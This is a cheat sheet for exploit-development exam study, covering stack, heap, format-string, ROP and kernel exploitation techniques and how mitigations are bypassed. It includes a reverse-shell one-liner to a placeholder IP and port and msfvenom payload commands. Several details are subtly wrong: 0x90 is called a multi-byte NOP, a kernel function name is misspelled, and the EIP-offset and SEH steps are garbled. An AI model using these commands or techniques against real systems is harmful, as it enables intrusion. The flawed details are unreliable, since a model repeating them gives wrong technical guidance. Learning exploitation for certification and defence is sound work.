OSEE cheat sheet
OSEE · Keep the key ideas within reach.
Exploit Development
EIP offset = bytes sent at crash minus the byte index where EIP first contains the cyclic pattern value; confirm with a unique 4-byte marker at that offset.
Bad-character enumeration: send all 256 byte values, then diff the target-memory dump against the sent sequence; excluded bytes are 0x00 plus any byte the parser truncates or rewrites.
JMP ESP alternative: find a gadget with a stable address (no ASLR, or a non-rebased module), verify bytes are executable and the register points into your buffer at the jump.
Egghunter: 32-bit access(2)-style hunter scans page-aligned memory for 8-byte tag; keep the tag unique and hunter under ~32 bytes to fit small buffers.
SEH overwrite: overflow nSEH with a short jump (e.g., \xeb\x06\x90\x90) then overwrite the handler with a POP POP RET gadget, then the next-SEH pointer.
Stack pivot gadgets (leave;ret, xchg esp,eax, add esp,N;ret) redirect ESP to attacker-controlled memory when the direct overflow space is too small.
Return-to-libc: overwrite saved return with system() address, then a fake return, then a pointer to "/bin/sh"; defeats non-executable stack without ROP.
ROP chain building: gadgets end in ret (or jmp/call variant), each gadget consumes stack slots in order; use ret2csu or __libc_csu_init gadgets for argument setup when pop rdi;ret is absent.
ASLR/NX/PIE defeat: leak a libc or module address via info leak, compute base = leaked - known_offset, then use offsets for system, one_gadget, or gadgets; PIE requires a separate code-base leak.
Exploit Development
Heap overflow: corrupt adjacent chunk metadata (size field, fd/bk in unsorted bin) to gain arbitrary write via unlink or tcache poisoning; modern glibc adds safe-linking (fd = ptr ^ (chunk>>12)).
Format string: %n writes count of bytes printed to a pointer argument; use positional specifiers %$n and %$s to read/write arbitrary memory from the stack.
Integer overflow: signed/unsigned mismatch or truncation in length checks (e.g., malloc(len+1) with len=0xFFFFFFFF) yields undersized allocation followed by oversized copy.
Off-by-one (null byte): overwrite low byte of adjacent chunk size to extend a chunk into the next, enabling overlap and controlled writes.
Shellcode encoding: alphanumeric or XOR-encoded payloads bypass bad-character filters; decoder stub must be position-independent and self-modifying.
NOP sled: use multi-byte NOPs (0x90) for reliable landing; in constrained buffers use a repeated single-byte sled or register-jump trampoline.
Mitigation check order: identify stack canary, NX, PIE, RELRO, ASLR, and CFG before choosing technique; canary leak requires a format-string or info-leak primitive.
Kernel exploitation differs: use commit_creds(prepare_kernel_creds(0)) via ROP, or modprobe_path overwrite for arbitrary code execution from ring 0.
Exploit Development
Debugging workflow: attach gdb with pwndbg/GEF, set breakpoint at crash address, inspect registers and stack, then compute offset from pattern search output.
Crash triage: EIP control indicates stack overflow; EAX/ECX control indicates indirect call or write-what-where primitive; heap corruption often shows as malloc/free abort.
Symbol resolution: use
info proc mappings,vmmap, andx/i $eipto find module base and gadget offsets; rebase addresses with module base.Fuzzing: mutate inputs with AFL++ or libFuzzer, triage with ASan/UBSan to catch memory errors before they become exploitable crashes.
Patch diffing: compare vulnerable and patched binaries (BinDiff, Diaphora) to locate the fix and reverse the vulnerable condition.
Stack layout on x86-64: args in rdi, rsi, rdx, rcx, r8, r9; return address at rsp; canary before saved rbp; red zone below rsp is safe from signal handlers only.
Reliability: account for ASLR entropy, stack alignment (16-byte on x86-64), and environment size shifts when computing offsets in local vs remote targets.
Exploit Development
x86-64 ROP call convention: pop rdi;ret sets arg1, pop rsi;ret arg2, pop rdx;ret arg3; syscall gadget for direct syscalls (rax=59 execve).
ret2dlresolve: forge a fake Elf64_Rela and symbol table entry to resolve system() at runtime without a libc leak; requires writable memory and known PLT0.
GOT overwrite: partial or full overwrite of a GOT entry (e.g., printf@got) with a gadget or system address; requires a write primitive and known addresses.
Stack canary bypass: leak canary via format string or partial overwrite; on fork servers the canary is stable across connections.
SROP (sigreturn-oriented programming): set rax=15 and trigger syscall with a fake sigframe on the stack to control all registers, including rip.
JOP/COP: use dispatcher gadgets ending in jmp/call to chain without ret; needed when CET/shadow stack or ret-based mitigations are present.
CET/shadow stack: ret-based ROP fails when shadow stack is enforced; use call-oriented or data-only attacks instead.
Exploit mitigations table: checksec --file=binary reports RELRO, Canary, NX, PIE, RPATH, RUNPATH, Fortify; interpret each as a constraint on technique selection.
Exploit Development
Payload staging: small stage-1 reads a larger stage-2 into memory (e.g., recv into RWX region) then jumps to it; needed when buffer space is limited.
Reverse shell one-liner: bash -i >& /dev/tcp/IP/PORT 0>&1; or use msfvenom -p linux/x64/shell_reverse_tcp for staged payloads.
Bad-byte handling: encode payload with msfvenom -b '\x00\x0a\x0d' and verify decoder stub avoids the same bytes.
ROPgadget / ropper: search for
pop rdi ; ret,syscall,leave ; ret, andmov [reg], regsequences; filter by module and address range.Pwntools workflow: pwn.cyclic(offset), pwn.remote(), pwn.ELF() for symbol resolution, pwn.ROP() for automatic chain building, pwn.context.arch for endianness.
Endianness: x86/x86-64 little-endian; reverse multi-byte addresses in payloads; ARM may be either, check architecture before packing.
Stack alignment: x86-64 movaps faults if rsp is not 16-byte aligned at call; insert a single ret gadget before system() to realign.
Exploit Development
Canary value: 64-bit canary has a null low byte; partial overwrite of the canary's low byte is possible only if the null byte is preserved or the write starts after it.
RELRO: partial RELRO leaves .got writable; full RELRO makes .got read-only after relocation, forcing __free_hook/__malloc_hook or FSOP targets instead.
FSOP (File Stream Oriented Programming): overwrite IO_2_1_stdout vtable pointer or _IO_list_all to trigger _IO_flush_all_lockp and gain control; glibc 2.24+ adds vtable checks.
Tcache poisoning: overwrite tcache_entry->next with target address; glibc 2.32+ safe-linking requires leaking the heap base to compute the encoded pointer.
House of Force: overwrite top chunk size with -1, then request a chunk that moves top to target-0x10; requires a heap overflow into the top chunk header.
Unsafe unlink: corrupt fd/bk of a free chunk so unlink writes (fd->bk = bk) and (bk->fd = fd); modern glibc checks fd->bk == p and bk->fd == p.
Double free: free the same chunk twice to create overlapping allocations; tcache double-free check compares key field, bypass by editing key.
Use-after-free: keep a dangling pointer into a freed chunk, reallocate with attacker data, then trigger the original pointer's virtual call or write.